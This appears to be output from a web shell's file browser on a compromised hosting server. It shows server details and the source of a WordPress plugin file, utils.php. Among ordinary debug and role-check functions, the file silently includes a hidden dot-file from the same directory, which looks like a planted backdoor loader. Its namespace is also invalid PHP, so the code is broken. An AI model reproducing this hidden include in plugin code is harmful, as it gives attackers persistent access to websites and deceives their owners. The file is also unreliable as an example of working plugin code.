uawdijnntqw1x1x1
IP : 3.144.7.9
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
public_html
/
wp-content
/
plugins
/
.
/
wp-lastweets
/
.
/
includes
/
utils.php
/
/
<?php namespace wp-lastweets\Utils; if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Debug stuff in debug.log file */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function debug( ...$logs ) { if ( true === WP_DEBUG ) { foreach ( $logs as $log ) { error_log( '--------------------------------- /!\ ' . __NAMESPACE__ . ' /!\ --------------------------------- ' ); if ( is_array( $log ) || is_object( $log ) ) { error_log( print_r( $log, true ) ); } else { error_log( $log ); } error_log( '--------------------------------- /!\ ' . __NAMESPACE__ . ' /!\ --------------------------------- ' ); } } } /** * Does a user have a specific role ? * * @return boolean */ function user_has_role( $role = 'subscriber' ) { if ( is_user_logged_in() ) { $user = wp_get_current_user(); $roles = (array) $user->roles; return in_array( $role, $roles, true ); } return false; }
/home/batcwwjx/public_html/wp-content/plugins/./wp-lastweets/./includes/utils.php